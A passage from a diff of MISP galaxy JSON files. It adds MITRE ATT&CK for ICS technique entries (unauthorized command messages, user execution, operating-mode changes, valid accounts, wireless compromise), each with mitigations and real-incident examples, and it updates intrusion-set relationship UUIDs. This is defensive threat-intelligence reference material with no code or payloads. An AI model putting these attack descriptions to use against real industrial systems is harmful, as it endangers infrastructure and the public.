systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an Impact. In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. In the 2015 attack on the Ukranian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries used valid credentials to seize control of operator workstations and access a distribution management system (DMS) client application via a VPN. The adversaries used these tools to issue unauthorized commands to breakers at substations which caused a loss of power to over 225,000 customers over various areas.", + "meta": { + "Mitigations": [ + "Implement Virtual Local Area Networks (VLANs) to divide physical networks into smaller, logical ones with isolated traffic from each other. This limits both broadcast traffic and unnecessary flooding", + "In ICS environments with dial-up modems, disconnect the modems when not in use or automate their disconnection after being active for a given amount of time, if reasonable.", + "When feasible, monitor and compare ICS device behavior and physical state to expected behavior and physical state. Contingency plans should be in place to handle and minimize impact from unexpected behavior.", + "Restrict access to control room(s), portable devices, and removable media, which should be locked down and physically secured. Unauthorized and suspicious media should be avoided and kept away from systems and the network. Keep track of cables, to ensure that the ICS and IT environments remain separate and no interceptive, adversarial devices are installed.", + "Encrypt and protect the integrity of wireless device communications, while taking care not to degrade end device performance. OSI Layer 2 encryption, rather than Layer 3, can reduce encryption-based latency. Hardware accelerator solutions for cryptographic functions may also be considered.", + "Antivirus and malicious code detection tools can assist with detecting and preventing impact of malware. Secure Windows, Unix, and Linux, etc.-based systems like traditional IT equipment. Follow vendor recommendations for other computers and services with time-dependent code and changes differentiating them from standard devices.", + "Leverage Intrusion Detection Systems (IDS) capabilities for event monitoring, such as looking for unusual activity and traffic patterns and detecting abnormal changes to functionality. If timestamps or methods of authentication are associated with commands, these may be useful metrics to determine spoofed sources. For instance, a spoofed message sent with unusual timing or an extra command sent, coinciding with a legitimate source." + ], + "Procedure Examples": [ + "The Industroyer IEC 101 module has the capability to communicate with devices (likely RTUs) via the IEC 101 protocol. The module will attempt to find all Information Object Addresses (IOAs) for the device and attempt to change their state in the following sequence: OFF, ON, OFF.", + "In states 3 and 4 Stuxnet sends two network bursts (done through the DP_SEND primitive). The data in the frames are instructions for the frequency converter drives.", + "Using Triton, an adversary can manipulate the process into an unsafe state from the DCS while preventing the SIS from functioning appropriately." + ], + "Tactic": [ + "Impair Process Control" + ], + "Technique ID": [ + "T855" + ], + "refs": [ + "http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258", + "https://www.mitre.org/sites/default/files/pdf/08_1145.pdf", + "https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf", + "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "78fb294d-11e9-49d3-9469-40665308a710", + "value": "Unauthorized Command Message" + }, + { + "description": "Adversaries may rely on a targeted organizations’ user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. Adversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers. Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software", + "meta": { + "Procedure Examples": [ + "Execution of Backdoor.Oldrea relies on a user opening a trojanized installer attached to an email.", + "Bad Rabbit is disguised as an Adobe Flash installer. When the file is opened it starts locking the infected computer." + ], + "Tactic": [ + "Execution" + ], + "Technique ID": [ + "T863" + ], + "refs": [ + "https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf", + "https://www.f-secure.com/weblog/archives/00002718.html", + "https://www.youtube.com/watch?v=eywmb7UDODY&feature=youtu.be&t=939", + "https://securelist.com/bad-rabbit-ransomware/82851/" + ] + }, + "uuid": "0df00d45-2105-4ab0-ad6d-de0a9b7d898d", + "value": "User Execution" + }, + { + "description": "Adversaries may place controllers into an alternate mode of operation to enable configuration setting changes for evasive code execution or to inhibit device functionality. Programmable controllers typically have several modes of operation. These modes can be broken down into three main categories: program run, program edit, and program write. Each of these modes puts the device in a state in which certain functions are available. For instance, the program edit mode allows alterations to be made to the user program while the device is still online. By driving a device into an alternate mode of operation, an adversary has the ability to change configuration settings in such a way to cause a Impact to equipment and/or industrial process associated with the targeted device. An adversary may also use this alternate mode to execute arbitrary code which could be used to evade defenses. ", + "meta": { + "Mitigations": [ + "Restrict user privileges with Role-Based Access Control (RBAC). Configure and assign “roles” based on the principle of least privilege. Levels of access can dictate several factors, including the ability to view, use, and alter specific ICS data or device functions.", + "Supplement restricted privileges and environment access with strong passwords. Consider forms of multi-factor authentication, such as introducing biometrics, smart cards, or tokens, to supplement traditional passwords.", + "Implementing Challenge/Response authentication eliminates the risk of discovery or replay that traditional password exchange has.", + "Network services in ICS often transmit in plaintext, making third-party eavesdropping easy. Always use different passwords, especially if credentials may be transmitted across both encrypted and non-encrypted protocols", + "Restrict device configuration settings access. Be wary of improper modifications before, during, and after system implementation. IT products should be secured as restrictively as possible, in accordance with ICS operational requirements.", + "Protect and restrict physical access to locations, devices, and systems. Lockdown and secure portable devices and removable media. Portable ICS assets should not be used outside of the ICS network", + "When possible, real-time monitoring and management of ICS devices and the network can help detect anomalous behavior. Always check new device acquisitions for the presence of backdoors and malicious tampering." + ], + "Procedure Examples": [ + "Triton is able to modify code if the Triconex SIS Controller is configured with the physical keyswitch in ‘program mode’ during operation. If the controller is placed in Run mode (program changes not permitted), arbitrary changes in logic are not possible substantially reducing the likelihood of manipulation. Once the Triton implant is installed on the SIS it is able to conduct any operation regardless of any future position of the keyswitch." + ], + "Tactic": [ + "Evasion, Inhibit Response Function" + ], + "Technique ID": [ + "T858" + ], + "refs": [ + "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "9e5e5c49-45ec-4dd3-a890-9bcbb7f99a81", + "value": "Utilize/Change Operating Mode" + }, + { + "description": "Adversaries may steal the credentials of a specific user or service account using credential access techniques. In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way. Adversaries may also create accounts, sometimes using predefined account names and passwords, to provide a means of backup access for persistence. The overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system. In the 2015 attack on the Ukranian power grid, the adversaries used valid credentials to interact directly with the client application of the distribution management system (DMS) server via a VPN and native remote access services to access employee workstations hosting HMI applications.2 The adversaries caused outages at three different energy companies, causing loss of power to over 225,000 customers over various areas.", + "meta": { + "Mitigations": [ + "Restrict user privileges with Role-Based Access Control (RBAC). Configure and assign “roles” based on the principle of least privilege. Levels of access can dictate several factors, including the ability to view, use, and alter specific ICS data or device functions.", + "Privilege restriction should extend to hardware, firmware, software, documentation, and settings modifications.", + "Authenticate wireless users’ access with a secure IEEE 802.1x authentication protocol, that authenticates users via user certificates or a Remote Authentication Dial In User Service (RADIUS) server.", + "In general, console user actions should be traceable, whether it may manually (e.g. control room sign in) or automatic (e.g. login at the application and/or OS layer).11 Protect and restrict access to the resulting logs.", + "Special care should be taken to ensure passwords used with encrypted, as opposed to non-encrypted protocols are not the same. Password lockout policies can be enforced, but take care to balance this with operational needs, that might result in a few failed login attempts in stressful situations.", + "Implementing Challenge/Response authentication eliminates the risk of discovery or replay that traditional password exchange has", + "Physical token authentication can also be considered. It is also easier to notice if these have gotten lost or stolen, unlike traditional passwords. Smart cards another option to consider, and provide additional functionality over token authentication. Biometric authentication may also be good supplement to software-only password solutions.", + "Restrict access to control room(s), portable devices, and removable media, which should be locked down and physically secured. Unauthorized and suspicious media should be avoided and kept away from systems and the network.", + "Antivirus and malware detection should be employed to assist with detecting and preventing malicious code from being run, in the event a Valid Account is compromised.", + "Network monitoring and intrusion detection systems can be leveraged to observe activity and may help identify suspicious account activity and movement at unexpected times." + ], + "Procedure Examples": [ + "ALLANITE utilized credentials collected through phishing and watering hole attacks.", + "Dragonfly 2.0 used credentials collected through spear phishing and watering hole attacks.", + "Dragonfly leveraged compromised user credentials to access the targets networks and download tools from a remote server.", + "HEXANE has used valid IT accounts to extend their spearphishing campaign within an organization.", + "OilRig utilized stolen credentials to gain access to victim machines.", + "Sandworm used valid accounts to laterally move through VPN connections and dual-homed systems", + "XENOTIME used valid credentials when laterally moving through RDP jump boxes into the ICS environment.", + "BlackEnergy utilizes valid user and administrator credentials, in addition to creating new administrator accounts to maintain presence." + ], + "Tactic": [ + "Persistence, Lateral Movement" + ], + "Technique ID": [ + "T859" + ], + "refs": [ + "https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf", + "https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf", + "https://dragos.com/resource/allanite/", + "https://dragos.com/resource/dymalloy/", + "https://www.us-cert.gov/ncas/alerts/TA17-293A", + "https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign", + "https://dragos.com/resource/chrysene/", + "https://dragos.com/resource/electrum/", + "https://dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf", + "https://dragos.com/blog/trisis/TRISIS-01.pdf", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "439051c8-9404-40f1-a4c9-d6bef22ea5fd", + "value": "Valid Accounts" + }, + { + "description": "Adversaries may perform wireless compromise as a method of gaining communications and unauthorized access to a wireless network. Access to a wireless network may be gained through the compromise of a wireless device.12 Adversaries may also utilize radios and other wireless communication devices on the same frequency as the wireless network. Wireless compromise can be done as an initial access vector from a remote distance. A joint case study on the Maroochy Shire Water Services event examined the attack from a cyber security perspective.3 The adversary disrupted Maroochy Shire's radio-controlled sewage system by driving around with stolen radio equipment and issuing commands with them. Boden used a two-way radio to communicate with and set the frequencies of Maroochy Shire's repeater stations. A Polish student used a modified TV remote controller to gain access to and control over the Lodz city tram system in Poland. The remote controller device allowed the student to interface with the tram’s network to modify track settings and override operator control. The adversary may have accomplished this by aligning the controller to the frequency and amplitude of IR control protocol signals. The controller then enabled initial access to the network, allowing the capture and replay of tram signals", + "meta": { + "Tactic": [ + "Initial Access" + ], + "Technique ID": [ + "T860" + ], + "refs": [ + "https://www.blackhat.com/docs/us-14/materials/us-14-Bolshev-ICSCorsair-How-I-Will-PWN-Your-ERP-Through-4-20mA-Current-Loop-WP.pdf", + "https://www.slideshare.net/dgpeters/17-bolshev-1-13", + "https://www.mitre.org/sites/default/files/pdf/08_1145.pdf", + "https://www.londonreconnections.com/2017/hacked-cyber-security-railways/", + "https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/", + "https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html" + ] + }, + "uuid": "6330fa53-0ba5-4be6-bd76-1cb4f9a535d4", + "value": "Wireless Compromise" + } + ], + "version": 1 +} diff --git a/clusters/mitre-intrusion-set.json b/clusters/mitre-intrusion-set.json index 55d3b06..d2a883c 100644 --- a/clusters/mitre-intrusion-set.json +++ b/clusters/mitre-intrusion-set.json @@ -30,21 +30,14 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -58,21 +51,21 @@ "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -150,7 +143,7 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -171,28 +164,21 @@ "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "41868330-6ee2-4d0f-b743-9f2294c3c9b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a", + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -206,21 +192,21 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -248,14 +234,14 @@ "type": "uses" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c3bce4f4-9795-46c6-976e-8676300bbc39", + "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -290,28 +276,21 @@ "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e7eab98d-ae11-4491-bd28-a53ba875865a", + "dest-uuid": "a750a9f6-0bde-4bb3-9aae-1e2786e9780c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -332,7 +311,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -381,14 +360,14 @@ "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -402,7 +381,7 @@ "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -416,14 +395,14 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -451,7 +430,7 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -486,7 +465,7 @@ "type": "uses" }, { - "dest-uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", + "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -540,6 +519,27 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "359b00ad-9425-420b-bba5-6de8d600cbc0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "fb366179-766c-4a4a-afa1-52bff1fd601c", @@ -567,7 +567,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -581,14 +581,14 @@ "type": "uses" }, { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "dest-uuid": "c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -629,14 +629,14 @@ "type": "uses" }, { - "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -657,14 +657,14 @@ "type": "uses" }, { - "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -685,7 +685,7 @@ "type": "uses" }, { - "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -699,7 +699,7 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -713,14 +713,14 @@ "type": "uses" }, { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -783,7 +783,7 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -804,7 +804,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -818,21 +818,21 @@ "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", + "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -846,14 +846,14 @@ "type": "uses" }, { - "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "dest-uuid": "1d24cdee-9ea2-4189-b08e-af110bf2435d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -867,21 +867,21 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -895,7 +895,7 @@ "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -923,14 +923,14 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -942,6 +942,34 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "76d59913-1d24-4992-a8ac-05a3eb093f71", @@ -990,13 +1018,14 @@ "value": "Lotus Blossom - G0030" }, { - "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)", "meta": { "external_id": "G0060", "refs": [ "https://attack.mitre.org/groups/G0060", "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/", "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", + "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" ], "synonyms": [ @@ -1014,7 +1043,7 @@ "type": "similar" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1028,14 +1057,14 @@ "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1056,21 +1085,21 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1091,7 +1120,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1105,7 +1134,7 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1119,14 +1148,7 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ 